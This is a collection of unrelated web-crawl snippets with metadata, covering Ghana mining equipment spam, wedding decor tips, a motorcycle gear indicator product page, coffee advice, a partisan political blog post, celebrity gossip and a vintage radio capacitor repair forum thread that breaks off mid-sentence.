New and used equipment for prospecting and mining for gold, silver .You will find new and used metal detectors, locators, probes, lab tables, concentrating tables, wave tables, conveyors, belts, mineral . This is a very good operation with everything you need to placer mine. ... Plant currently located in Ghana.second hand mining in ghana,The hazardous nature of small scale underground mining in GhanaSmall scale mining (both surface and underground) is practiced in Ghana and .. This method is used for mining alluvial gold deposits that occur on the banks of. Mining industry of Ghana - WikipediaThe Mining industry of Ghana accounts for 5% of the country's GDP and minerals make up 37% ... Privat Group of Ukraine, which also used manganese ore from Ghana, imported about 832,000 t in 2006. Privat Group acquired the right to.second hand mining in ghana,gold mining equipment ghanaAug 11, 2016 . Used gold mining equipment Ghana,Ghana mining machine for Our . raw gold mining equipment used in ghana The Birimian Greenstone. Sep 30, 2013 . It is the result of lethal mercury, on which miners all over Ghana rely to refine . The alternatives used by big mining companies, which involve. Small scale mining (both surface and underground) is practiced in Ghana and .. This method is used for mining alluvial gold deposits that occur on the banks of. The Mining industry of Ghana accounts for 5% of the country's GDP and minerals make up 37% ... Privat Group of Ukraine, which also used manganese ore from Ghana, imported about 832,000 t in 2006. Privat Group acquired the right to. Oct 11, 2013 . gold-mining-ghana-chinese-miners-pits-pollution-jobs- . Once the pits have been dug and used up—or found to be poor in gold at the. The environmental impacts of small-scale mining in Ghana are .. Although the policies used to encourage investment in Ghanaian mining have been. 'Crops' or 'Carats'? Gold mining and cocoa production in Ghana . Dec 15, 2014 . On the one hand, land is seized for mining that otherwise could be used for farming; labour is attracted away from agriculture into mining; and. Trends in the small-scale mining of precious minerals in Ghana: a . Keywords: Small-scale mining; Ghana; Environmental impacts; Environmental friendliness or ... Deep alluvial mining techniques are used to mine deep. Jan 8, 2013 . His shooting prompted a rare public complaint from the Chinese embassy in Ghana, which is more used to trumpeting the two countries'. Artisanal and small-scale gold mining . to their families, others used it to obtain items. Ghana's government focuses on reforming small-scale mining . The role of galamsey, or artisanal, small-scale miners, in Ghana has become . suggested that the approach used in Tanzania could also work in Ghana. Mining Equipment - Authorized dealer in Ghana, . Mantrac offers integrated mining solutions for enhancing efficiency and maximizing profitability. . Mining Equipment Product Range . Used Equipment. Sep 14, 2010 . Ghana had a GDP per capita of just $1,500 in 2009, making it one of the 30 poorest nations on earth. Despite this, Ghana is often used as an. Small scale gold mining in Ghana has a long history. . On the other hand, public environmental .. Interview guide was used to collect data from the miners. Jan 24, 2015 . Ghana. Women in gold mining communities have more diversified labor . happened during this recent rush that is used in this analysis to. Land Ownership and Responsibility for the Mining Environment in . Towards An Environmental Legal Regime For Gold Mining In Ghana 42-62 "(1994) .. under customary law for mining purposes could not be used in ways that. Small-scale gold mining in Ghana and foreign involvement ... to the trommel being brought into Ghana by our respondent and first used on 15 August 2006 in. mining is a catalyst for proto-urbanization in rural Ghana. .. We present the gold mining sector in Ghana and various data sources used in the paper in Section 3. Loading Used 6x4 Sinotruck Howo Dump Tipper Truck to Ghana .. Ghana Mining Use Shacman F2000 6X4 30tons 10 Wheelers Dumper Trucks. We used chemical indicator strips to sample contaminated areas in .. narrative of small-scale gold mining in Ghana, illegal min- ers have become the 'villains'.	{ "timestamp": "2019-04-26T07:58:09", "url": "http://parishkaram.org.in/82358_second-hand-mining-in-ghana.html", "language": "en", "source": "c4" }
Adding your own touch to your venue through decor can be one of the most exciting parts of planning a wedding. Many couples see it as the main way to personalize the event. And it’s true that decor is one area where even on a budget there are tons of possibilities! You can find an endless amount of ideas on Pinterest and Instagram. It’s also a great opportunity to get creative and come up with your own ideas. DIY wedding decor can be a lot of fun if you’re into crafts. And even if you’re not, there are a ton of beautiful decorations out there you can buy to make your wedding look fabulous. Wedding decor is also one of those areas where a dose of realism can really help you out with your planning. You can’t have every beautiful decoration you see online, and To get your wedding decor plan off the ground, you have to focus on what matters. Most importantly, you should take care of other essential aspects of your wedding before delving into creating monogrammed wreaths. And remember the big picture: your decor should contribute to an atmosphere of fun and enjoying the company of your loved ones. With that in mind, here’s our guide to getting started with planning your awesome wedding decor. First of all, don’t get ahead of yourself. Decor isn’t the first thing you should plan, though it may be tempting to start thinking right away about the awesome place cards you’re going to have. How you decorate will depend on the big decisions about your guest list, budget, venue, and vendors. Of course, if you hire a wedding planner, they will be your help with decorating. But even if you want to DIY your wedding decor, you shouldn’t worry too much about embroidered napkins before you know how many tables and chairs you need! That said, it can be good to know how much time, money, and work you want to spend on decorating your wedding. If you’re going to have DIY wedding decor, one question that is important to think about earlier rather later is who will be your decorating team. Get an idea of who’s willing to help out before making ambitious decorating plans. If you know who your decor team will be, you can worry about the details once you’re done with arranging the who, when, and where of your wedding. Your venue, the place that you’ll actually be decorating, should be your guide when it’s time to start planning your decor. What decorations are a good idea will really depend on the type of space you are working with. What works for a wedding in a church may not work for an outdoor wedding. Likewise, what works in a small venue may not be right for a large social hall. Your venue may also have lots of rules about what kinds of decorations you can use, and whether you can hang anything from the walls. All of these factors should be informing your decor decisions from the start. Deciding on a color scheme and style can narrow things down and make it easier to choose projects. For your color scheme, you can choose several colors to make things more flexible. This way you won’t have to worry about finding everything that you need in just a couple of colors. The style you choose can literally be anything. The trick is to make your style one that helps you decide on which projects to focus on and which things to buy. You can combine themes to be as offbeat or traditional as you want. “Retro tropical,” “futuristic casual,” “sparkly”–whatever speaks to you! As with every aspect of wedding planning, being organized can make things go much more smoothly. Keep a list or spreadsheet of decor projects big and small. If you’re DIYing it, figure out about how long projects will take you and when you will work on them and make a note of it. This can help you manage your time and avoid having to rush to finish projects in the hours before the wedding. It’s also important to know where you’re going to store everything and how you will get it all to the venue. You’ll also want to make sure your decor team or any other friends or family are available to help install the decorations before the wedding. As always, having a plan means you can spend less time stressing and more time enjoying the day. Look for pictures of weddings in similar venues to get some general ideas. Be aware that social media can provide lots of cool ideas, but also unrealistic expectations. Many of the decorations you see on Pinterest will have been created by professionals at a steep cost. For DIY projects, simpler is better! There are so many ideas out there, it may seem overwhelming at first. For some great suggestions we found click here, here, and here. Think about the importance of the project vs. how much time and effort it will take. Some projects can have a big impact on the look and feel of a space with minimal effort. Focus on those! You don’t necessarily want to spend hours and hours on something that is a nice detail but has a smaller impact on your guests. You can make stunning decorations with cheap materials! It’s always an option to focus on finding projects that can be done with cheap materials. If a project you like seems too expensive because of the materials, you may be able to feasible substitute materials to do it for less. Again, your venue will determine which projects are best to focus on. Some venues may pose more challenges than others, but you can still make your wedding look fabulous! If your wedding is in a large venue with tall ceilings, it can be challenging to make your decor stand out and not be overwhelmed by the space. Tall centerpieces can help, as can balloons and arches. You can also try hanging Christmas lights, paper cranes or ribbons! Arches are also great for outdoors spaces. Make use of the natural surroundings! You can hang decorations from trees and use flower runners. Also take the weather into account. You may want to go with sturdier centerpieces if there is a chance of wind, for example. Balloons are great decorations for a venue where you can’t hang anything from the walls or ceiling. You can also buy frames for backdrops or columns to hang things from. You may not be able to create every single part of your decor. In fact, you probably shouldn’t! Remember that many types of decorations can be bought ready-made. In fact, you can find most of your decorations this way if you want! There are plenty of shops online and in most cities that specialize in wedding decorations and supplies. And whether you’re buying the majority of your decorations or making your own DIY wedding decor, keeping the big picture in mind will make your wedding beautiful in all the ways that matter. To get help with your Joy wedding site, you can click the question mark icon at the top of your dashboard. To the right of the question mark there is a bell icon that you can click to see the latest updates to Joy. There are always exciting updates on the way, so stay tuned here to find out the latest news!	{ "timestamp": "2019-04-24T10:16:54", "url": "https://withjoy.com/blog/guide-fabulous-diy-wedding-decor/", "language": "en", "source": "c4" }
Kite Beach will transform into an open-air stage with a DJ spinning catchy tunes at the beach party. Customised visuals on a LED backdrop will captivate visitors on the beach along with Live dance performances. Starts from 6:00 PM until 1:00 AM.	{ "timestamp": "2019-04-23T22:31:30", "url": "https://www.kitebeach.ae/en/whats-on/nye", "language": "en", "source": "c4" }
—Richard Albert, The University of Texas Law School Tom Ginsburg, David Landau and I invite I-CONnect readers to join us also on Facebook here. We intend to use this Facebook group page to disseminate our blog posts and to bring our readers closer together in scholarly collaborations and exchanges. We also maintain a Twitter page here. —Chiara Graziani, PhD Student in Comparative Constitutional Law, University of Genoa (Italy) In this weekly feature, I-CONnect publishes a curated reading list of developments in public law. “Developments” may include a selection of links to news, high court decisions, new or recent scholarly books and articles, and blog posts from around the public law blogosphere. I-CONnect Symposium–The Aftermath of the Italian General Election of March 4, 2018–The Italian Political Elections: A Definitive Back to the Past?	{ "timestamp": "2019-04-21T06:22:30", "url": "http://www.iconnectblog.com/2018/08/", "language": "en", "source": "c4" }
This page presents the geographical name data for Cooper Spur in Antarctica, as supplied by the US military intelligence in electronic format, including the geographic coordinates and place name in various forms, latin, roman and native characters, and its location in its respective country's administrative division. Description (see definition): A narrow spur extending N from the E end of Cooper Bluffs, on the N coast of Victoria Land. Mapped by U.S. Geological Survey (USGS) from surveys and U.S. Navy air photos, 1960-63. Named by Advisory Committee on Antarctic Names (US-ACAN) for Ronald R. Cooper, BUC, U.S. Navy (USN), Chief Builder with the McMurdo Station winter party, 1967. NOTE: The information regarding Cooper Spur in Antarctica on this page is published from the data supplied by the National Geospatial-Intelligence Agency, a member of the Intelligence community of the Antarctica, and a Department of Defense (DoD) Combat Support Agency. No claims are made regarding the accuracy of information contained here. All suggestions for corrections of any errors about Cooper Spur should be addressed to the National Geospatial-Intelligence Agency.	{ "timestamp": "2019-04-22T20:30:22", "url": "https://www.geographic.org/geographic_names/antname.php?uni=3107&fid=antgeo_105", "language": "en", "source": "c4" }
Sandblasting has lost it's use over the last few years and I don't know why. At one time we relied on it for all our signs but with a router the process changed. The disadvantages were many, the least of which was lung disease. I blasted for years without any protection and got away with it. But still! This is a technique we farm out. This panel had both blasting and routing. Offering unusual techniques can enhance the image of a sign business. The general public doesn't seem to know anything about the way creative signs are made and that's OK by me. We have an open shop and welcome anyone to visit and glad to show all our methods and techniques. The same goes for pricing. Looks great as usual Joe. Can we see a picture of finished product?	{ "timestamp": "2019-04-18T10:46:17", "url": "http://www.talkshopbot.com/forum/showthread.php?24810-Blasted-Rough-Cedar&s=3aac185681faba9c2bb8b8687090a1b8", "language": "en", "source": "c4" }
SAFARI, SPORTSMANS AND COLLECTABLES AUCTION! Schneider's Auction Service has been contracted to sell a huge collection with items to interest just about for everyone! BID NOW through April 26th - Auction ends at 6pm! 10% Buyers Premium added to winning bid to createfinal sale price. All Sales are final and to be paid in full before pickup.	{ "timestamp": "2019-04-25T06:32:08", "url": "https://www.schneidersauction.com/project/details/34872/", "language": "en", "source": "c4" }
WE-260290 24"L x 15.5"W 300 lbs. 12.75" 3.5" WE-260291 17.625"L x 27.125"W 300 lbs. 13.25" 3.5" WE-260292 15.75"L x 24"W 500 lbs. 12.5" top/14.625" bottom 4" WE-260293 18"L x 27.375"W 500 lbs. 13" top/14.5" bottom 4" WE-260294 21"L x 13.125"W 500 lbs. 14.375" top/14.5" bottom 5"	{ "timestamp": "2019-04-19T18:35:38", "url": "http://www.cisco-eagle.com/catalog/category/7855/stainless-steel-service-carts", "language": "en", "source": "c4" }
> It seemed that we can not store the closure directly to local var "a". not help you to know that. Local variables are mere aliases for VM registers. upvalues and function prototypes too, not only the disassembly. register 1, so the MOVE instruction does store the closure in "a".	{ "timestamp": "2019-04-26T08:26:43", "url": "http://lua-users.org/lists/lua-l/2013-02/msg00063.html", "language": "en", "source": "c4" }
GIpro DS-series G2 (GPDT) gear indicator - HealTech Electronics Ltd. The GIpro DS-series G2 is a gear indicator designed for bikes with factory diagnostic connector. Just plug it in and you're ready to ride! A few of our 1st generation GIpro DS-series units are offered by some Chinese companies. They use various branding and logos, including HealTech, Honda, Kawasaki, etc. The product looks similar but it has an old firmware, the quality of the components and assembly is poor, the function/performance is lacking, the reliability is weak and warranty is not backed up. Due to poor design and assembly it may damage your bike’s ECU. Always be sure to purchase an original GIpro DS-series unit from an authorized HealTech distributor or dealer. If you have any doubts, please contact the distributor in your country. Only we (HealTech) make gear indicators with touch control + light sensor and the with latest signal processing tech. None of the clones offer these features thanks to the unique security authentication chips we use in the G2 series. Improved signal processing for fast response and flawless function. The best DS gear indicator just got better! Simple and clear front face with Red, Blue, Green, Yellow and White display options. There are no buttons, no “programming wires”. The unit is fully automatic.There’s no need to cut or splice wires and no need to access several connectors. You only need to connect ONE plug under the seat – it can’t get any easier than this. I have a Honda FI model (CBR600F4i), why is this model not supported? Honda and Kawasaki did not make first generation FI models with a diagnostic system. The GIpro DS-series will work only on bikes equipped with a Diagnostic System connector. You need the GIpro X-type model which will work perfectly. I have a 2001 VFR800 FI bike, but you list only the 2003+ models? Same as above. In general, bike manufacturers started to equip bikes with Diagnostic System in 2003. Be sure to check our application list before ordering. Why is Yamaha not in your list? To date, Yamaha bikes do not have Diagnostic System connector. But again, The GIpro X-type will work perfectly. How does the GIpro DS work? The unit reads data from the ECU to determine the gear position. The amount of data and information available varies from bike to bike. For this reason, the GPDS performs better on some bikes than on others. Only Suzuki bikes and a few Kawasaki models have real Gear Position Sensor. On these bikes, the unit will indicate the correct gear at all times. However, on bikes which do not have Gear Position Sensor (Honda and most Kawasaki), the unit will indicate the correct gear only when the engine is running and clutch is released. While this can be an issue for some, one thing is sure. We make the most out of the available data on a particular bike to make the best gear indicator for your bike. The display lag is also much shorter than on competing products. My bike is not supported. Can you make a Gear Indicator for this model? We have the GIpro X-type model which works great on ALL bikes with a 4, 5 or 6 speed gearbox. I see both the GIpro/ATRE and GIpro DS are available for my bike (GSXR1000 K4). What’s the difference? › Get the GIpro/ATRE if you want improved performance along with the Gear Indicator function. › Get the GIpro DS if you need the smallest gear indicator but are not interested in more performance. I have a TRE module on my Suzuki. Will it interfere with the GIpro DS? The GPDS will not work if a TRE module is installed. We recommend to get the GIpro/ATRE which has Advanced TRE function built-in. My bike (ZX6R 2007) does have a factory in-dash gear indicator, but I do not like the small size and design. Can I use your product? Yes. the GIpro DS will work on this bike, unless you have an X-TRE already installed. My bike has a Racing ECU, will it interfere with your product? The GIpro DS will NOT work e.g. with the Honda HRC ECU. Use the GIpro X-type instead. The DS will work fine with the Ducati Racing ECU. What does it take to install the DS? All it takes is to connect ONE plug, which is under the seat on most bikes, easy to reach. Then route the cable and mount the display with the supplied sticky pads at either side of the dashboard. For Triumph bikes, you also need to connect one wire to a switched power lead by using the wire tap connector supplied. No need to cut or solder any wires. The DS works on specific bike models while the X-type works on all bikes with 4, 5 or 6 speed gearbox. Both models are easy to install but it takes less time to install a DS. Basically, the choice is simple. Get the DS if it is available for your bike, otherwise get the X-type. The original (G1) GIpro DS model lacks the Light sensor, Touch sensor and menu options like signal filtering. If you are on a tight budget, you may get one at lower price until stock lasts. Just a short note to once again thank you for your fantastic service and help. I have just returned from 8 days riding in Tasmania, which we have done for the past 4 years, and I must say my riding has never been better over there than it was this year! I attribute that wholly & solely to the gear indicator I installed prior to leaving. Wow! What a difference not trying to keep track of which gear you are in can make to your riding! What a truly fantastic product!!! It works perfectly taking less than a second to show the correct gear. It got it right every time both up and down all 6 gears. I am very pleased with its performance and, as I indicated earlier, it simply could not have been any easier to install. Great product and super customer support. My GIpro DS arrived this am. Excellent device. I was concerned about the fit and how tidy the wiring would be. Not a problem, it turned out that the Mrs. could have fitted it herself. It works exactly as it says in the book. Having fitted my recently purchased gear position indicator I would like to say how pleased I am with it. Fitting and set up was a doddle unlike some more expensive items, good product and first class service, Thank you! I installed a blue LED GIpro DS on my Kawasaki 650r and was out testing it in less than 15 minutes. It really helps for entry level riders who need to concentrate on where the bike is going rather than what gear I am in. This device made me more confident in handling the bike. I recieved the GI PRO for my 07 Z1000 and installed it right away. The unit is top quality and the install couldn’t be any easier. Wonderful piece of kit that takes the guesswork out of gear position. Accurate, reliable and real value for money. So far, has performed perfectly and the build quality makes me think it will continue for a long time yet. I really love my new GiPro, it’s a modification i would not live without! Have just fitted the gipro ds-series display in around 20 mins. Works perfectly everytime, great product! Have done about 100 miles since fitting with no problems. Now I know for sure what gear I am in, many thanks. Fitted a DS to my bandit a couple of weeks ago. Brillant product, no lag on gear indication and I would not be without it now. Dont have to remember which gear I am in would definitely recommend it. I only want to say, I love this accessory!!!!!!! It brings you so much more than it costs! Ordered the gi pro gear postion indicator a couple of weeks for my kawasaki versys, and what a great system it is! Fitted in 20 mins, it has a very quick response time on the digital display. Could not be more pleased with your system, thanks! I bought a GIpro DS gear indicator for my honda fireblade, and i just wanted to say how good it is, and the honda dealer commented how easy it was to fit and set up, compared to rival ones. I completed the installation over the weekend and it could NOT have been easier. It took only about 15 minutes and virtually all of that was routing the wire under the fairing and gas tank. I have never installed any accessory on any motorcycle that has a higher usefulness to cost/ease of installation (i.e. Value).	{ "timestamp": "2019-04-19T08:21:18", "url": "https://www.healtech-electronics.com/products/gipro/gpdt/", "language": "en", "source": "c4" }
Shop Kid Building Blocks online for the latest Kid Building Blocks Styles and Brands at the best prices. Super Hero Action Figure Dolls for everyday discount prices. Find savings and reviews on Super Hero Action Figure Dolls products. At The Computer Car we carry brand name The Computer Car at the best money saving deals. Save big! You'll find the top selection and savings on Raspberry Pi Parts, visit raspberrypi.computer-parts-store.com for available items and reviews.	{ "timestamp": "2019-04-19T21:00:25", "url": "http://www.test8.child-computer-desk.com/Links", "language": "en", "source": "c4" }
We offer free delivery for prescriptions to our patients in the Amarillo area. Contact us today for details or to schedule your delivery service. Avondale Pharmacy carries Prevnar 13. CDC recommends Prevnar 13 for seniors 65 years or older. Seniors have been taking Pneumovax. However, it only controls certain strains. Furthermore, they were still catching pneumonia. Now we suggest an additional 1-time-only vaccine. You have the right to pick the pharmacy where you want your prescription filled out. Nursing homes have their own pharmacies but you can opt out if you'd like. At Avondale Pharmacy, we offer FREE delivery across the city. We get to know you as soon as you walk into our pharmacy and provide you with the best care possible.	{ "timestamp": "2019-04-18T21:51:44", "url": "https://www.pharmacyamarillo.com/pharmacy", "language": "en", "source": "c4" }
Click Here to learn more about our different levels of training. Visit www.noplaceleft.net for additional trainings & coaching. End Vision: Reach Every Resident of Florida by End of 2020!	{ "timestamp": "2019-04-26T11:14:29", "url": "https://coopersonamission.com/2017/02/04/our-2017-4fields-training-schedule/", "language": "en", "source": "c4" }
Our chain lubricants help prevent wear and process interruptions in power transmission systems and components. Compared to conventional oils, they also offer greater resistance to oxidation and stable performance at high temperatures and under high loads. Gannon Foodsafe chain oils maximise fill intervals and maintain viscosity characteristics at wide temperature ranges. Molykote Foodsafe food grade gearbox and chain lubricants help prevent wear and process interruptions in power transmission systems and components. Molykote L-1468-FG Foodsafe food grade Chain Oil is a synthetic freezer chain oil.	{ "timestamp": "2019-04-26T12:04:33", "url": "http://www.gannonoils.co.uk/index.php?page=shop.browse&category_id=46&option=com_virtuemart&Itemid=90", "language": "en", "source": "c4" }
1 ◆qQDmM1OH5Q46 sage New! 2017/05/05(金)20:52:44 ID:???	{ "timestamp": "2019-04-22T04:34:41", "url": "http://milfled.seesaa.net/article/449650530.html", "language": "en", "source": "c4" }
One hurricane, one faith and one website was all it took to unite First Baptist Church of Grand Prairie and Trinity Baptist Church of Aransas Pass. After Hurricane Harvey hit the Texas coast, “we immediately … spent time in our worship service praying for our brothers and sisters,” said Dr. Bill Skaar, pastor of First Baptist Church of Grand Prairie. Six hours away, the sanctuary and fellowship hall belonging to the brothers and sisters at Trinity Baptist Church was flooding with up to five feet of water destroying walls and furniture, and overturning their upright piano. FBC Grand Prairie members began spontaneously collecting an offering for Texas Baptist Men to aid in hurricane relief, but the help did not stop there. Skaar said he wanted to do more, and a friend recommended he visit the Church2Church Partnerships page where Texas Baptists had compiled a list of many churches in need after Hurricane Harvey. There, he said he searched for smaller churches that may not yet have a large network through which to seek help. He found Trinity Baptist Church of Aransas Pass – a church of about 40 members. “We can’t all do everything, but all of us can do something,” Skaar said after describing the large number of churches in need. About two weeks after the storm, Skaar contacted Jesse Martinez, a charter member of Trinity Baptist Church in charge of reconstruction, and sent a team of seven men to Aransas Pass equipped with supplies, including sheetrock and insulation. “God spared my house, so it’s time for me to rebuild His house,” Martinez said during his sixth week of construction at the church. While both the sanctuary and the fellowship hall were damaged, the team began work, restoring the fellowship hall that sat under 4 inches of mud, according to Martinez. In the fellowship hall, Martinez said the crew cut away all sheetrock below 6 feet and installed the new insulation and sheetrock. Skaar said the team worked for three days, sleeping at night in the fellowship hall itself and an RV. And FBC Grand Prairie was not the only church sending aid. Martinez said about seven churches offered assistance, citing a pastor who drove from Mississippi to deliver a $4,000 check as well as a man who drove an RV from Pennsylvania to donate it to a family whose home was ruined. Still, the helpful spirit will not end there. Today, there are many churches still in need. Trinity Baptist is continuing to rebuild its sanctuary. Skaar said he encourages other churches to partner with an affected church because although its members are willing to help their church rebuild, they must also repair and rebuild their own homes. If you or your church is interested in partnering with Trinity Baptist Church of Aransas Pass or another church affected by Hurricane Harvey, please visit texasbaptists.org/church2church or call (888)244-9400 for more information.	{ "timestamp": "2019-04-21T18:24:28", "url": "https://texasbaptists.org/article/time-to-rebuild-his-house", "language": "en", "source": "c4" }
The tables have turned, with a Democratic Obama leading (badly) an increasingly unpopular war that is increasingly going badly. Obama has chosen to intensify rather than wind down the 9 year old Afghan conflict and what do Republicans do?? Criticize the US presence in a war they were in favor of starting back then (just like Democrats were for Iraq)??? Scream surrender, withdrawal, pull out, defeat??… which would all make the President look bad, and increase poll points for the Republican party. No. They press the president to do the utmost to protect the troops, and pressure him to win, as opposed to lose which he endorsed for 7 years while the wars were under Bush. They want victory and for the soldiers to all come back alive, both events that if occur, would be credited to the president and give Democrats in general giant boost in popularity. Why then? For the same reasons they are Republicans as opposed to Democrats. They chose patriotism over politics, truth over popularity, individual responsibility over society’s blanket, and the often lonesome, hated and trying path of conservatism over the much easier, loved and false, “save the whales, save the snails” path to power. Shame to those Democrats who for years under George W, loved every headline of GI casualties or war tragedy in order to bash him, and forgot both their nation and their soldiers. Oh, and lest I forget… Shame on Olmert.	{ "timestamp": "2019-04-25T11:43:58", "url": "https://www.the-lighthouse.net/patriotism-over-politics/", "language": "en", "source": "c4" }
One of the most loved couples in the B-town Ranveer Singh and Deepika Padukone is all set to get married but they are not tying the knot in India and have instead chosen Italy for this auspicious occasion. Yes, we are talking about the Bajirao and Mastani of Bollywood. As we told you earlier that the couple will be getting married at Lake Como, Italy, on 20th November. Now, in a new lead, it will be attended by some close relatives and friends only. It is being said that the guest count will be around 30 only. The decision was taken after the private moments of Virat and Anushka’s marriage got leaked and posted online despite it being a secret affair and the same happened in Sonam Kapoor and Anand Ahuja’s marriage. Both Deepika and Ranveer wants to share their special moments with their fans but only when they want to do it and not with any of their guests. Considering the fact that it will be a destination wedding, there will be fewer people and all the arrangements will be in place. The couple will also throw a grand reception for their colleagues from the industry in Mumbai post their wedding. We feel that it is absolutely justifiable for them to make this demand. What do you say?	{ "timestamp": "2019-04-23T14:09:10", "url": "https://www.gabruu.com/ranveer-deepika-made-this-clause-for-their-wedding", "language": "en", "source": "c4" }
ecomdash allows you to easily apply a percentage based markup to your products so your storefront price can be set quickly and easily. Markups are applied using listing profiles. Click here for more information on Listing Profiles. When creating your Listing Profile, there is a section for Price Markup Rules. Here, you can specify your Price Source and specify the markup percent you would like to apply. For Source, you can select from the following: Storefront Price, Retail Price, MSRP, MAP, Wholesale Price, Global Price, or Cost. For Price Markup, specify the percentage markup you would like to apply. For example, assume the Source is Cost and the cost of the item is $10.00. If Price Markup is set to 100, ecomdash would set the Storefront Price to $20.00. If cost is $10.00 and Markup is set to 50, ecomdash would set the Storefront Price to $15.00. Once your markup has been specified on the Listing Profile, apply the profile to your draft or active listing and submit revisions if necessary to update the price on the storefront. This is a great features. But what would make it better is to allow a minimum price increase and/or the ability to increase by dollar amount instead of Percentage. This is a good start - to make it useful, however, you would need to allow the calculation of shipping costs (even a fixed field would be better than nothing). Shipping is the single largest variable - a percentage above the cost of an item means nothing if the shipping cost of the same item can exceed 50+% of cost. That $10 cost item in the example could have a shipping cost of $3 or $8. There's no way a flat percentage markup will cover that spread and still be useful. Very nice feature I actually assumed a software like this would have from the beginning, so glad it's finally here. So let's say I set all the pricing to be same as global price, if I change the global price do I have to resubmit all the listings for it to take effect?	{ "timestamp": "2019-04-18T12:59:48", "url": "https://support.ecomdash.com/hc/en-us/articles/360005122492-How-do-I-apply-a-price-markup-in-ecomdash", "language": "en", "source": "c4" }
← Enjoy A Great Cup Of Joe. Read These Coffee Tips. Do you need a cup of coffee in the morning to feel refreshed and ready to face the day? Get in line with everyone else that does! Are you so busy that you buy the same type of coffee every time you’re in the store? Consider taking the time to learn more about other options. Read the below article and consider its tips the next time you have some coffee. If there are moments when you only want a single serving of coffee, a Keruig maker is a good buy. They allow you to brew a single cup and there are many varieties of flavors you can choose from. You can choose from a variety of makers with many different features. TIP! When a single cup is all you need, a pod machine comes in very handy. These let you brew only one cup at a time, and you can choose among a number of flavors. If you work from home, then coffee can be your answer to cabin fever. This can be especially beneficial to self-employed people who generally spend most of their days alone. A lot of restaurants also offer WiFi. If you purchase coffee beans, do not store them in their original packaging if it has been opened. You need to store them in something airtight. This helps them stay fresh much longer. When it comes to coffee there are lots of different kinds. Some coffee drinkers like the robust flavor of a dark roast, while others may want a milder and smoother taste. There are a ton of coffees out there that have flavors; the possibilities are endless. The majority of people usually use creamer to add flavor instead of drinking flavored coffee. Putting food and drinks in the freezer makes them keep longer, but there’s a limit to this. For coffee, three months is about the longest it can stay frozen. Storing coffee in the freezer for any longer will decrease the quality of the coffee. If you want to enjoy a perfect iced coffee, brew strong coffee before bed and place it in the refrigerator. This creates chilled coffee when you’re ready to add ice, instead of producing watered down coffee instead. Also, you can add different types of milk and creams, depending on your liking. This will give you the optimal iced coffee when you wake up. TIP! Make sure that no air gets into your storage container for coffee. When overexposed to air, the beans will become stale and make your coffee taste bad. The coffee plays the biggest role in the flavor of your beverage. Shop around at different stores in your neighborhood. Fresh, roasted beans are pretty easy to find. If your town is little, you can hop on the Internet to get it. Although you may pay more, this can give you the best quality in the long run. Water is crucial to your coffee. Make sure it is of good quality. Coffee tastes only as good as water you use for it. Try tasting the water before using it in the machine. There are several options that you can use to limit the sugar in your coffee. One thing to try is the nectar of agave, which does have sugar but does not affect you in the same way. Stevia and other sweeteners can sweeten coffee as well and are completely safe. TIP! Coffee can be a great way to get out of the house. Many coffee shops have free internet on location, so you can try doing some work there instead. If you want to make stronger coffee with more flavor, consider purchasing a French press. French presses produce optimal brews because they extract more oil from the beans. In a regular machine, the filter gets most of these flavorful oils. Reheated coffee never tastes the same as a fresh cup. Keep leftover coffee hot and fresh until you need it by placing it in a thermal mug. If you don’t have one, you can brew a second pot. Hopefully this article has encouraged you to try some new flavors and varieties of coffee. What skills are you planning to try? Do your friends like coffee as well? If so, you could work as a team to increase your coffee expertise together. This entry was tagged iced coffee. Bookmark the permalink.	{ "timestamp": "2019-04-19T10:53:44", "url": "http://coffeefacts.org/coffee/coffee-tips-you-owe-it-to-yourself-to-check-out/", "language": "en", "source": "c4" }
And David i will look in to the one from the usa .And it would be easy for me to fit it if i have a direct fit .Its worth thinking about yes ? . To send it out for a re cap will cost a fair price after caps are found and fitted . I did say that another 9R 59D came to day . From a well known web site eBay . The radio is a brother to the one i have .Even down to the HUM . So to swap out the smoothing cap from that in to mine is of no use .Because the smoothing caps are redundant in this set as well as the one i have now . Another mod i can do that it is not to complicated, is to fit a new twin and earth mains lead . Your sets - your money Trev. At least you know that the triple can on the second radio has definitely expired. David this is the picture of the expired C -40- 41 -42 the rest of the set is good . I did notice one problem with the RF and AF no way could i turn the volume down.But at this time dont want to bring a second one in to the equation . Will look for those capacitors you talked about above so i will be giving you a rest for a bit . Looking on the usa site the C40 is a twist tab fitting mie is clamp so the set would have no slots for the twist tabs .. David can you look at post 119 by techman i would think those would be a better fit radial type . If the Amerian cap is the same diameter as yor existing one you could clip off the tabs and use the existing clamp to fix the new can, but in my view, the cost plus shipping cost, and possibly import duty and collection fee would be so high as to rule that out of the queston. There are probably European suppliers at a more realistic price, but separate caps mounted under the chassis makes more sense. Yes, they'd be fine and as Techmman says, do them one at a time to see what, if any, improvement it makes in reducing the hum. Just to clarify, those aren't 'radial' they're 'axial'. 'Axial' caps are when one wire comes out of each end - 'radial' are where both leads come out at one end. If you look at the pic you posted, you'll see that there is a ground tag near to the base of the cap which looks unused. You could if you wish, use that solder tag to anchor the negative ends of the three caps, with the individual positive ends going to each of the three red wires. (Insulate the joints with sleeving). Not to complicate matters, but you may find that the three red wires go to nearby solder tags, so if the new caps will reach from those tags to ground, you could just unsolder the red wires completely and fit the individual three new caps between those tags and ground. Just make sure that you know what you're doing, and if need be, take before and after pics. Always 'do a bit - test a bit' - don't change several components at once on this or any other set or you'll get into a muddle. Look at the circuit and try to relate it to the component layout so you understand what you're doing - not making a leap in the dark. David i will do as you say above when they turn up .. And how about the inside of the C40 its all leaking out .Wont it damage other things running it like it is ? Do you think it would be best to just replace them all at the same time .I will go and pay for these caps at Cricklewood . It was for the photo record I posted it, some of the clearest I've found to date. You say you couldn't find replacements - there must be dozens of places selli theradial type. David .. Would it be a good idea to cover these new capacitors with shrinkwrap ? On each end , all over ,, or just on the joints .What is the best way to instal them for best results . .. David yes there is large earth solder joint very close to C40 that i can us for the earth - of the caps . I will replace one by one first . We are talking about the original Trio . Not the old one that shows clear signs of escaping powder . I will let this sit for now . Once i have done original Trio i can then do the other the same way later on.. If you just intend to connect the + ends of the new caps to the three red wires, slide a small length of red heat-shrink sleeve over the red wires before you join the + ends of the caps to those wires, then when you've soldered the joints, slip the sleeving along over the joint and shrink it. Otherwise, if the + tags to which the three red wires go are close enough for you to remove the red wires and connect the new caps directly between those + tags to the ground tag, just slip some red sleeving over the + wires of the caps. You don't need to insulate the negative ends of the caps as they're at ground potential but if they're close to other live connections, then of course it makes sense to insulate them. While you're waiting for the caps to arrive, it would help if you looked closely at the wiring arrangements to gain an understanding of how they relate to the circuit and whether it's feasible to connect the caps directly to the 